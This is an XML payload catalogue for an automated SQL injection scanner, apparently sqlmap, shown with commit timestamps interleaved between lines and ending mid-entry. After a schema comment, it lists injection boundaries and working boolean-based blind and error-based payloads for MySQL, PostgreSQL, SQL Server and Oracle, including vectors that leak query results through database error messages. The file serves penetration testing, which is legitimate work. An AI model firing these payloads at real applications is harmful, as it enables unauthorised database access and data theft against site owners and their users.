2010-11-28 21:10:54 +03:00
<?xml version="1.0" encoding="UTF-8"?>
<!--
Tag: <boundary >
How to prepend and append to the test ' <payload > <comment > ' string.
Sub-tag: <level >
From which level check for this test.
Valid values:
1: Always (<100 r e q u e s t s )
2: Try a bit harder (100-200 requests)
3: Good number of requests (200-500 requests)
4: Extensive test (500-1000 requests)
5: You have plenty of time (>1000 requests)
Sub-tag: <clause >
In which clause the payload can work.
NOTE: for instance, there are some payload that do not have to be
tested as soon as it has been identified whether or not the
injection is within a WHERE clause condition.
Valid values:
0: Always
1: WHERE
2: GROUP BY
3: ORDER BY
4: LIMIT
5: OFFSET
6: TOP
7: Table name
8: Column name
A comma separated list of these values is also possible.
Sub-tag: <where >
2010-12-01 01:40:25 +03:00
Where to add our '<prefix > <payload > <comment > <suffix > ' string.
2010-11-28 21:10:54 +03:00
Valid values:
1: When the value of <test > 's <where > is 1.
2: When the value of <test > 's <where > is 2.
3: When the value of <test > 's <where > is 3.
A comma separated list of these values is also possible.
Sub-tag: <ptype >
What is the parameter value type.
Valid values:
1: Unescaped numeric
2: Single quoted string
3: LIKE single quoted string
4: Double quoted string
5: LIKE double quoted string
Sub-tag: <prefix >
A string to prepend to the payload.
Sub-tag: <suffix >
A string to append to the payload.
Tag: <test >
SQL injection test definition.
Sub-tag: <title >
Title of the test.
Sub-tag: <stype >
SQL injection family type.
Valid values:
0: Heuristic check to parse response errors
1: Boolean-based blind SQL injection
2: Error-based SQL injection
3: UNION query SQL injection
4: Stacked queries SQL injection
5: AND/OR time-based blind SQL injection
Sub-tag: <level >
From which level check for this test.
Valid values:
1: Always (<100 r e q u e s t s )
2: Try a bit harder (100-200 requests)
3: Good number of requests (200-500 requests)
4: Extensive test (500-1000 requests)
5: You have plenty of time (>1000 requests)
Sub-tag: <risk >
Likelihood of a payload to damage the data integrity.
Valid values:
0: No risk
1: Low risk
2: Medium risk
3: High risk
Sub-tag: <clause >
In which clause the payload can work.
NOTE: for instance, there are some payload that do not have to be
tested as soon as it has been identified whether or not the
injection is within a WHERE clause condition.
Valid values:
0: Always
1: WHERE
2: GROUP BY
3: ORDER BY
4: LIMIT
5: OFFSET
6: TOP
7: Table name
8: Column name
A comma separated list of these values is also possible.
Sub-tag: <where >
Where to add our '<prefix > <payload > <comment > <suffix > ' string.
Valid values:
1: Append to the parameter original value
2: Append to the parameter original value and change the
original value to its negative representation
3: Replace the parameter original value
2010-12-03 17:45:13 +03:00
Sub-tag: <vector >
2010-12-01 20:09:52 +03:00
The payload that will be used to exploit the injection point.
2010-11-28 21:10:54 +03:00
Sub-tag: <request >
What to inject for this test.
Sub-tag: <payload >
The payload to test for.
Sub-tag: <comment >
Comment to append to the payload, before the suffix.
Sub-tag: <response >
How to identify if the injected payload succeeded.
Sub-tag: <comparison >
Perform a request with this string as the payload and compare
the response with the <payload > response. Apply the comparison
algorithm.
NOTE: useful to test for boolean-based blind SQL injections.
Sub-tag: <grep >
Regular expression to grep for in the response body.
NOTE: useful to test for error-based and UNION query SQL
injections.
Sub-tag: <time >
Time in seconds to wait before the response is returned.
NOTE: useful to test for time-based blind and stacked queries
SQL injections.
2010-12-07 02:10:38 +03:00
Sub-tag: <out-of-band >
#TODO
2010-11-28 21:10:54 +03:00
Sub-tag: <details >
Which details can be infered if the payload succeed.
Sub-tags: <dbms >
What is the database management system (e.g. MySQL).
Sub-tags: <dbms_version >
What is the database management system version (e.g. 5.0.51).
Sub-tags: <os >
What is the database management system underlying operating
system.
Formats:
<boundary >
<level > </level>
<clause > </clause>
<where > </where>
<ptype > </ptype>
<prefix > </prefix>
<suffix > </suffix>
</boundary>
<test >
<title > </title>
<stype > </stype>
<level > </level>
<risk > </risk>
<clause > </clause>
<where > </where>
2010-12-03 17:45:13 +03:00
<vector > </vector>
2010-11-28 21:10:54 +03:00
<request >
<payload > </payload>
<comment > </comment>
</request>
<response >
<comparison > </comparison>
<grep > </grep>
<time > </time>
</response>
<details >
<dbms > </dbms>
<dbms_version > </dbms_version>
<os > </os>
</details>
</test>
-->
<root >
2010-12-03 13:52:24 +03:00
<!-- Generic boundaries -->
2010-11-28 21:10:54 +03:00
<boundary >
<level > 1</level>
<clause > 0</clause>
<where > 1,2,3</where>
<ptype > 1</ptype>
<prefix > </prefix>
<suffix > </suffix>
</boundary>
2010-12-07 02:15:41 +03:00
<boundary >
<level > 3</level>
<clause > 1</clause>
<where > 1,2</where>
<ptype > 1</ptype>
<prefix > )</prefix>
<suffix > </suffix>
</boundary>
<boundary >
<level > 3</level>
<clause > 1</clause>
<where > 1,2</where>
2010-12-07 15:45:45 +03:00
<ptype > 2</ptype>
2010-12-07 02:15:41 +03:00
<prefix > '</prefix>
<suffix > </suffix>
</boundary>
<boundary >
<level > 4</level>
<clause > 1</clause>
<where > 1,2</where>
2010-12-07 15:45:45 +03:00
<ptype > 2</ptype>
2010-12-07 02:15:41 +03:00
<prefix > ')</prefix>
<suffix > </suffix>
</boundary>
<boundary >
<level > 5</level>
<clause > 1</clause>
<where > 1,2</where>
2010-12-07 15:45:45 +03:00
<ptype > 4</ptype>
2010-12-07 02:15:41 +03:00
<prefix > "</prefix>
<suffix > </suffix>
</boundary>
2010-12-03 13:52:24 +03:00
<!-- End of generic boundaries -->
2010-11-28 21:10:54 +03:00
2010-12-03 13:52:24 +03:00
<!-- WHERE clause boundaries -->
2010-11-28 21:10:54 +03:00
<boundary >
<level > 1</level>
<clause > 1</clause>
<where > 1,2</where>
<ptype > 1</ptype>
<prefix > )</prefix>
<suffix > AND ([RANDNUM]=[RANDNUM]</suffix>
</boundary>
<boundary >
<level > 2</level>
<clause > 1</clause>
<where > 1,2</where>
<ptype > 1</ptype>
<prefix > ))</prefix>
<suffix > AND (([RANDNUM]=[RANDNUM]</suffix>
</boundary>
<boundary >
<level > 3</level>
<clause > 1</clause>
<where > 1,2</where>
<ptype > 1</ptype>
<prefix > )))</prefix>
<suffix > AND ((([RANDNUM]=[RANDNUM]</suffix>
</boundary>
<boundary >
<level > 1</level>
<clause > 1</clause>
<where > 1,2</where>
<ptype > 2</ptype>
<prefix > '</prefix>
<suffix > AND '[RANDSTR]'='[RANDSTR]</suffix>
</boundary>
<boundary >
<level > 1</level>
<clause > 1</clause>
<where > 1,2</where>
<ptype > 2</ptype>
<prefix > ')</prefix>
<suffix > AND ('[RANDSTR]'='[RANDSTR]</suffix>
</boundary>
<boundary >
<level > 2</level>
<clause > 1</clause>
<where > 1,2</where>
<ptype > 2</ptype>
<prefix > '))</prefix>
<suffix > AND (('[RANDSTR]'='[RANDSTR]</suffix>
</boundary>
<boundary >
<level > 3</level>
<clause > 1</clause>
<where > 1,2</where>
<ptype > 2</ptype>
<prefix > ')))</prefix>
<suffix > AND ((('[RANDSTR]'='[RANDSTR]</suffix>
</boundary>
<boundary >
<level > 2</level>
<clause > 1</clause>
<where > 1,2</where>
<ptype > 3</ptype>
<prefix > '</prefix>
<suffix > AND '[RANDSTR]' LIKE '[RANDSTR]</suffix>
</boundary>
<boundary >
<level > 2</level>
<clause > 1</clause>
<where > 1,2</where>
<ptype > 3</ptype>
<prefix > ')</prefix>
<suffix > AND ('[RANDSTR]' LIKE '[RANDSTR]</suffix>
</boundary>
<boundary >
<level > 3</level>
<clause > 1</clause>
<where > 1,2</where>
<ptype > 3</ptype>
<prefix > '))</prefix>
<suffix > AND (('[RANDSTR]' LIKE '[RANDSTR]</suffix>
</boundary>
<boundary >
<level > 3</level>
<clause > 1</clause>
<where > 1,2</where>
<ptype > 3</ptype>
<prefix > ')))</prefix>
<suffix > AND ((('[RANDSTR]' LIKE '[RANDSTR]</suffix>
</boundary>
<boundary >
<level > 2</level>
<clause > 1</clause>
<where > 1,2</where>
<ptype > 4</ptype>
<prefix > "</prefix>
<suffix > AND "[RANDSTR]"="[RANDSTR]</suffix>
</boundary>
<boundary >
<level > 3</level>
<clause > 1</clause>
<where > 1,2</where>
<ptype > 4</ptype>
<prefix > ")</prefix>
<suffix > AND ("[RANDSTR]"="[RANDSTR]</suffix>
</boundary>
<boundary >
<level > 4</level>
<clause > 1</clause>
<where > 1,2</where>
<ptype > 4</ptype>
<prefix > "))</prefix>
<suffix > AND (("[RANDSTR]"="[RANDSTR]</suffix>
</boundary>
<boundary >
<level > 4</level>
<clause > 1</clause>
<where > 1,2</where>
<ptype > 4</ptype>
<prefix > ")))</prefix>
<suffix > AND ((("[RANDSTR]"="[RANDSTR]</suffix>
</boundary>
<boundary >
<level > 3</level>
<clause > 1</clause>
<where > 1,2</where>
<ptype > 5</ptype>
<prefix > "</prefix>
<suffix > AND "[RANDSTR]" LIKE "[RANDSTR]</suffix>
</boundary>
<boundary >
<level > 4</level>
<clause > 1</clause>
<where > 1,2</where>
<ptype > 5</ptype>
<prefix > ")</prefix>
<suffix > AND ("[RANDSTR]" LIKE "[RANDSTR]</suffix>
</boundary>
<boundary >
<level > 5</level>
<clause > 1</clause>
<where > 1,2</where>
<ptype > 5</ptype>
<prefix > "))</prefix>
<suffix > AND (("[RANDSTR]" LIKE "[RANDSTR]</suffix>
</boundary>
<boundary >
<level > 5</level>
<clause > 1</clause>
<where > 1,2</where>
<ptype > 5</ptype>
<prefix > ")))</prefix>
<suffix > AND ((("[RANDSTR]" LIKE "[RANDSTR]</suffix>
</boundary>
2010-12-03 13:52:24 +03:00
<!-- End of WHERE clause boundaries -->
2010-11-28 21:10:54 +03:00
2010-12-03 13:52:24 +03:00
2010-11-28 21:10:54 +03:00
<!-- Boolean - based blind tests - WHERE clause -->
<test >
<title > AND boolean-based blind - WHERE clause</title>
<stype > 1</stype>
<level > 1</level>
<risk > 1</risk>
<clause > 1</clause>
<where > 1</where>
2010-12-05 14:25:44 +03:00
<vector > AND [INFERENCE]</vector>
2010-11-28 21:10:54 +03:00
<request >
<payload > AND [RANDNUM]=[RANDNUM]</payload>
</request>
<response >
<comparison > AND [RANDNUM]=[RANDNUM1]</comparison>
</response>
</test>
2010-12-05 14:25:44 +03:00
<test >
<title > AND boolean-based blind - WHERE clause (MySQL comment)</title>
<stype > 1</stype>
<level > 4</level>
<risk > 1</risk>
<clause > 1</clause>
<where > 1</where>
<vector > AND [INFERENCE]</vector>
<request >
<payload > AND [RANDNUM]=[RANDNUM]</payload>
<comment > #</comment>
</request>
<response >
<comparison > AND [RANDNUM]=[RANDNUM1]</comparison>
</response>
</test>
<test >
<title > AND boolean-based blind - WHERE clause (Generic comment)</title>
<stype > 1</stype>
<level > 4</level>
<risk > 1</risk>
<clause > 1</clause>
<where > 1</where>
<vector > AND [INFERENCE]</vector>
<request >
<payload > AND [RANDNUM]=[RANDNUM]</payload>
<comment > --</comment>
</request>
<response >
<comparison > AND [RANDNUM]=[RANDNUM1]</comparison>
</response>
</test>
2010-12-05 13:55:19 +03:00
<test >
2010-11-28 21:10:54 +03:00
<title > OR boolean-based blind - WHERE clause</title>
<stype > 1</stype>
2010-12-05 14:06:37 +03:00
<level > 2</level>
2010-11-28 21:10:54 +03:00
<risk > 3</risk>
<clause > 1</clause>
2010-12-04 18:47:02 +03:00
<where > 2</where>
2010-12-06 20:23:21 +03:00
<vector > OR NOT [INFERENCE]</vector>
2010-11-28 21:10:54 +03:00
<request >
2010-12-06 20:23:21 +03:00
<payload > OR NOT [RANDNUM]=[RANDNUM]</payload>
2010-11-28 21:10:54 +03:00
</request>
<response >
2010-12-06 20:23:21 +03:00
<comparison > OR NOT [RANDNUM]=[RANDNUM1]</comparison>
2010-11-28 21:10:54 +03:00
</response>
</test>
2010-12-04 01:58:35 +03:00
<test >
2010-12-05 14:08:52 +03:00
<title > OR boolean-based blind - WHERE clause (MySQL comment)</title>
2010-12-04 01:58:35 +03:00
<stype > 1</stype>
2010-12-05 16:12:12 +03:00
<level > 3</level>
2010-12-04 01:58:35 +03:00
<risk > 3</risk>
<clause > 1</clause>
2010-12-05 13:55:19 +03:00
<where > 2</where>
2010-12-06 20:23:21 +03:00
<vector > OR NOT [INFERENCE]</vector>
2010-12-04 01:58:35 +03:00
<request >
2010-12-06 20:23:21 +03:00
<payload > OR NOT [RANDNUM]=[RANDNUM]</payload>
2010-12-04 01:58:35 +03:00
<comment > #</comment>
</request>
<response >
2010-12-06 20:23:21 +03:00
<comparison > OR NOT [RANDNUM]=[RANDNUM1]</comparison>
2010-12-04 01:58:35 +03:00
</response>
<details >
<dbms > MySQL</dbms>
</details>
</test>
<test >
2010-12-05 14:08:52 +03:00
<title > OR boolean-based blind - WHERE clause (Generic comment)</title>
2010-12-04 01:58:35 +03:00
<stype > 1</stype>
2010-12-04 19:40:08 +03:00
<level > 3</level>
2010-12-04 01:58:35 +03:00
<risk > 3</risk>
<clause > 1</clause>
2010-12-05 13:55:19 +03:00
<where > 2</where>
2010-12-06 20:23:21 +03:00
<vector > OR NOT [INFERENCE]</vector>
2010-12-04 01:58:35 +03:00
<request >
2010-12-06 20:23:21 +03:00
<payload > OR NOT [RANDNUM]=[RANDNUM]</payload>
2010-12-04 01:58:35 +03:00
<comment > --</comment>
</request>
<response >
2010-12-06 20:23:21 +03:00
<comparison > OR NOT [RANDNUM]=[RANDNUM1]</comparison>
2010-12-04 01:58:35 +03:00
</response>
</test>
2010-11-28 21:10:54 +03:00
<!-- End of boolean - based blind tests - WHERE clause -->
2010-12-04 19:40:08 +03:00
<!-- Boolean - based blind tests - Parameter replace -->
2010-12-03 19:12:47 +03:00
<test >
2010-12-04 19:40:08 +03:00
<title > Generic boolean-based blind - Parameter replace</title>
2010-12-03 19:12:47 +03:00
<stype > 1</stype>
2010-12-04 19:40:08 +03:00
<level > 2</level>
2010-12-03 19:12:47 +03:00
<risk > 1</risk>
2010-12-05 15:23:18 +03:00
<clause > 1,2,3</clause>
2010-12-04 19:40:08 +03:00
<where > 3</where>
<vector > (SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE 1/0 END))</vector>
2010-12-03 19:12:47 +03:00
<request >
2010-12-04 19:40:08 +03:00
<payload > (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE 1/0 END))</payload>
2010-12-03 19:12:47 +03:00
</request>
<response >
2010-12-04 19:40:08 +03:00
<comparison > (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE 1/0 END))</comparison>
2010-12-03 19:12:47 +03:00
</response>
</test>
2010-11-28 21:10:54 +03:00
<test >
2010-12-04 19:40:08 +03:00
<title > MySQL > = 5.0 boolean-based blind - Parameter replace</title>
2010-11-28 21:10:54 +03:00
<stype > 1</stype>
<level > 3</level>
<risk > 1</risk>
2010-12-05 15:23:18 +03:00
<clause > 1,2,3</clause>
2010-12-04 19:40:08 +03:00
<where > 3</where>
2010-12-05 14:25:44 +03:00
<vector > (SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM information_schema.tables) END))</vector>
2010-11-28 21:10:54 +03:00
<request >
2010-12-04 19:40:08 +03:00
<payload > (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM information_schema.tables) END))</payload>
2010-11-28 21:10:54 +03:00
</request>
<response >
2010-12-04 19:40:08 +03:00
<comparison > (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM information_schema.tables) END))</comparison>
2010-11-28 21:10:54 +03:00
</response>
<details >
<dbms > MySQL</dbms>
<dbms_version > > = 5.0</dbms_version>
</details>
</test>
<test >
2010-12-04 19:40:08 +03:00
<title > MySQL < 5.0 boolean-based blind - Parameter replace</title>
2010-11-28 21:10:54 +03:00
<stype > 1</stype>
<level > 4</level>
<risk > 1</risk>
2010-12-05 15:23:18 +03:00
<clause > 1,2,3</clause>
2010-12-04 19:40:08 +03:00
<where > 3</where>
2010-12-05 14:25:44 +03:00
<vector > (SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END))</vector>
2010-11-28 21:10:54 +03:00
<request >
2010-12-04 19:40:08 +03:00
<payload > (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END))</payload>
2010-11-28 21:10:54 +03:00
</request>
<response >
2010-12-04 19:40:08 +03:00
<comparison > (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END))</comparison>
2010-11-28 21:10:54 +03:00
</response>
<details >
<dbms > MySQL</dbms>
</details>
</test>
<test >
2010-12-04 19:40:08 +03:00
<title > Microsoft SQL Server/Sybase boolean-based blind - Parameter replace</title>
2010-11-28 21:10:54 +03:00
<stype > 1</stype>
<level > 3</level>
<risk > 1</risk>
2010-12-05 15:23:18 +03:00
<clause > 1,3</clause>
2010-12-04 19:40:08 +03:00
<where > 3</where>
2010-12-05 14:25:44 +03:00
<vector > (SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END))</vector>
2010-11-28 21:10:54 +03:00
<request >
2010-12-04 19:40:08 +03:00
<payload > (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END))</payload>
2010-11-28 21:10:54 +03:00
</request>
<response >
2010-12-04 19:40:08 +03:00
<comparison > (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END))</comparison>
2010-11-28 21:10:54 +03:00
</response>
<details >
<dbms > Microsoft SQL Server</dbms>
</details>
</test>
<test >
2010-12-04 19:40:08 +03:00
<title > Oracle boolean-based blind - Parameter replace</title>
2010-11-28 21:10:54 +03:00
<stype > 1</stype>
<level > 3</level>
<risk > 1</risk>
2010-12-05 15:23:18 +03:00
<clause > 1,3</clause>
2010-12-04 19:40:08 +03:00
<where > 3</where>
2010-12-05 15:23:18 +03:00
<vector > (SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE 1/0 END) FROM DUAL)</vector>
2010-11-28 21:10:54 +03:00
<request >
2010-12-04 19:40:08 +03:00
<payload > (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE 1/0 END) FROM DUAL)</payload>
2010-11-28 21:10:54 +03:00
</request>
<response >
2010-12-04 19:40:08 +03:00
<comparison > (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE 1/0 END) FROM DUAL)</comparison>
2010-11-28 21:10:54 +03:00
</response>
<details >
<dbms > Oracle</dbms>
</details>
</test>
2010-12-07 15:45:45 +03:00
<!-- TODO: check against Microsoft Access and SAP MaxDB -->
2010-12-04 19:40:08 +03:00
<!-- End of boolean - based blind tests - Parameter replace -->
2010-11-28 21:10:54 +03:00
2010-12-04 19:40:08 +03:00
<!-- Boolean - based blind tests - GROUP BY and ORDER BY clauses -->
2010-11-28 21:10:54 +03:00
<test >
2010-12-04 19:40:08 +03:00
<title > Generic boolean-based blind - GROUP BY and ORDER BY clauses</title>
2010-11-28 21:10:54 +03:00
<stype > 1</stype>
2010-12-04 19:40:08 +03:00
<level > 3</level>
2010-11-28 21:10:54 +03:00
<risk > 1</risk>
<clause > 2,3</clause>
2010-12-04 19:40:08 +03:00
<where > 1</where>
<vector > , (SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE 1/0 END))</vector>
2010-11-28 21:10:54 +03:00
<request >
2010-12-04 19:40:08 +03:00
<payload > , (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE 1/0 END))</payload>
2010-11-28 21:10:54 +03:00
</request>
<response >
2010-12-04 19:40:08 +03:00
<comparison > , (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE 1/0 END))</comparison>
2010-11-28 21:10:54 +03:00
</response>
</test>
<test >
2010-12-04 19:40:08 +03:00
<title > MySQL > = 5.0 boolean-based blind - GROUP BY and ORDER BY clauses</title>
2010-11-28 21:10:54 +03:00
<stype > 1</stype>
2010-12-04 19:40:08 +03:00
<level > 3</level>
2010-11-28 21:10:54 +03:00
<risk > 1</risk>
<clause > 2,3</clause>
2010-12-04 19:40:08 +03:00
<where > 1</where>
2010-12-05 14:25:44 +03:00
<vector > , (SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM information_schema.tables) END))</vector>
2010-11-28 21:10:54 +03:00
<request >
2010-12-04 19:40:08 +03:00
<payload > , (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM information_schema.tables) END))</payload>
2010-11-28 21:10:54 +03:00
</request>
<response >
2010-12-04 19:40:08 +03:00
<comparison > , (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM information_schema.tables) END))</comparison>
2010-11-28 21:10:54 +03:00
</response>
<details >
<dbms > MySQL</dbms>
2010-12-04 19:40:08 +03:00
<dbms_version > > = 5.0</dbms_version>
2010-11-28 21:10:54 +03:00
</details>
</test>
<test >
2010-12-04 19:40:08 +03:00
<title > MySQL < 5.0 boolean-based blind - GROUP BY and ORDER BY clauses</title>
2010-11-28 21:10:54 +03:00
<stype > 1</stype>
<level > 4</level>
<risk > 1</risk>
2010-12-04 19:40:08 +03:00
<clause > 2,3</clause>
<where > 1</where>
2010-12-05 14:25:44 +03:00
<vector > , (SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END))</vector>
2010-11-28 21:10:54 +03:00
<request >
2010-12-04 19:40:08 +03:00
<payload > , (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END))</payload>
2010-11-28 21:10:54 +03:00
</request>
<response >
2010-12-04 19:40:08 +03:00
<comparison > , (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END))</comparison>
2010-11-28 21:10:54 +03:00
</response>
<details >
2010-12-04 19:40:08 +03:00
<dbms > MySQL</dbms>
2010-11-28 21:10:54 +03:00
</details>
</test>
<test >
2010-12-04 19:40:08 +03:00
<title > Microsoft SQL Server/Sybase boolean-based blind - ORDER BY clause</title>
2010-11-28 21:10:54 +03:00
<stype > 1</stype>
2010-12-04 19:40:08 +03:00
<level > 3</level>
2010-11-28 21:10:54 +03:00
<risk > 1</risk>
<clause > 3</clause>
2010-12-04 19:40:08 +03:00
<where > 1</where>
2010-12-05 14:25:44 +03:00
<vector > , (SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END))</vector>
2010-11-28 21:10:54 +03:00
<request >
2010-12-04 19:40:08 +03:00
<payload > , (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END))</payload>
2010-11-28 21:10:54 +03:00
</request>
<response >
2010-12-04 19:40:08 +03:00
<comparison > , (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END))</comparison>
2010-11-28 21:10:54 +03:00
</response>
<details >
2010-12-04 19:40:08 +03:00
<dbms > Microsoft SQL Server</dbms>
2010-11-28 21:10:54 +03:00
</details>
</test>
<test >
2010-12-04 19:40:08 +03:00
<title > Oracle boolean-based blind - ORDER BY clause</title>
2010-11-28 21:10:54 +03:00
<stype > 1</stype>
2010-12-04 19:40:08 +03:00
<level > 3</level>
2010-11-28 21:10:54 +03:00
<risk > 1</risk>
2010-12-04 19:40:08 +03:00
<clause > 3</clause>
<where > 1</where>
2010-12-05 14:25:44 +03:00
<vector > , (SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE 1/0 END) FROM DUAL)</vector>
2010-11-28 21:10:54 +03:00
<request >
2010-12-04 19:40:08 +03:00
<payload > , (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE 1/0 END) FROM DUAL)</payload>
2010-11-28 21:10:54 +03:00
</request>
<response >
2010-12-04 19:40:08 +03:00
<comparison > , (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE 1/0 END) FROM DUAL)</comparison>
2010-11-28 21:10:54 +03:00
</response>
2010-12-04 19:40:08 +03:00
<details >
<dbms > Oracle</dbms>
</details>
2010-11-28 21:10:54 +03:00
</test>
2010-12-07 15:45:45 +03:00
<!-- TODO: check against Microsoft Access and SAP MaxDB -->
<!-- End of boolean - based blind tests - GROUP BY and ORDER BY clauses -->
2010-11-28 21:10:54 +03:00
<!-- Error - based tests - WHERE clause -->
<test >
2010-12-06 23:28:26 +03:00
<title > MySQL > = 5.0 AND error-based - WHERE clause</title>
2010-11-28 21:10:54 +03:00
<stype > 2</stype>
<level > 1</level>
<risk > 0</risk>
<clause > 1</clause>
<where > 1</where>
2010-12-03 17:45:13 +03:00
<vector > AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(%s),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)</vector>
2010-11-28 21:10:54 +03:00
<request >
2010-12-01 13:31:50 +03:00
<payload > AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)</payload>
2010-11-28 21:10:54 +03:00
</request>
<response >
2010-12-01 13:31:50 +03:00
<grep > [DELIMITER_START](?P< result> .*?)[DELIMITER_STOP]</grep>
2010-11-28 21:10:54 +03:00
</response>
<details >
<dbms > MySQL</dbms>
<dbms_version > > = 5.0</dbms_version>
</details>
</test>
<test >
2010-12-06 23:28:26 +03:00
<title > PostgreSQL AND error-based - WHERE clause</title>
2010-11-28 21:10:54 +03:00
<stype > 2</stype>
<level > 1</level>
<risk > 0</risk>
<clause > 1</clause>
<where > 1</where>
2010-12-03 17:45:13 +03:00
<vector > AND [RANDNUM]=CAST('[DELIMITER_START]'||(%s)::text||'[DELIMITER_STOP]' AS NUMERIC)</vector>
2010-11-28 21:10:54 +03:00
<request >
2010-12-01 13:31:50 +03:00
<payload > AND [RANDNUM]=CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END))::text||'[DELIMITER_STOP]' AS NUMERIC)</payload>
2010-11-28 21:10:54 +03:00
</request>
<response >
2010-12-01 13:31:50 +03:00
<grep > [DELIMITER_START](?P< result> .*?)[DELIMITER_STOP]</grep>
2010-11-28 21:10:54 +03:00
</response>
<details >
<dbms > PostgreSQL</dbms>
</details>
</test>
<test >
2010-12-06 23:28:26 +03:00
<title > Microsoft SQL Server/Sybase AND error-based - WHERE clause</title>
2010-11-28 21:10:54 +03:00
<stype > 2</stype>
<level > 1</level>
<risk > 0</risk>
<clause > 1</clause>
<where > 1</where>
2010-12-03 17:45:13 +03:00
<vector > AND [RANDNUM]=CONVERT(INT,('[DELIMITER_START]'+(%s)+'[DELIMITER_STOP]'))</vector>
2010-11-28 21:10:54 +03:00
<request >
2010-12-01 13:31:50 +03:00
<payload > AND [RANDNUM]=CONVERT(INT,('[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]'))</payload>
2010-11-28 21:10:54 +03:00
</request>
<response >
2010-12-01 13:31:50 +03:00
<grep > [DELIMITER_START](?P< result> .*?)[DELIMITER_STOP]</grep>
2010-11-28 21:10:54 +03:00
</response>
<details >
<dbms > Microsoft SQL Server</dbms>
</details>
</test>
<test >
2010-12-07 15:45:45 +03:00
<title > Oracle AND error-based - WHERE clause (XMLType)</title>
2010-11-28 21:10:54 +03:00
<stype > 2</stype>
<level > 1</level>
<risk > 0</risk>
<clause > 1</clause>
<where > 1</where>
2010-12-07 01:40:07 +03:00
<vector > AND [RANDNUM]=(SELECT UPPER(XMLType(CHR(60)||'[DELIMITER_START]'||(REPLACE((%s),' ','[SPACE_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)</vector>
2010-11-28 21:10:54 +03:00
<request >
2010-12-07 01:40:07 +03:00
<payload > AND [RANDNUM]=(SELECT UPPER(XMLType(CHR(60)||'[DELIMITER_START]'||(REPLACE((SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL),' ','[SPACE_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)</payload>
2010-11-28 21:10:54 +03:00
</request>
<response >
2010-12-01 13:31:50 +03:00
<grep > [DELIMITER_START](?P< result> .*?)[DELIMITER_STOP]</grep>
2010-11-28 21:10:54 +03:00
</response>
<details >
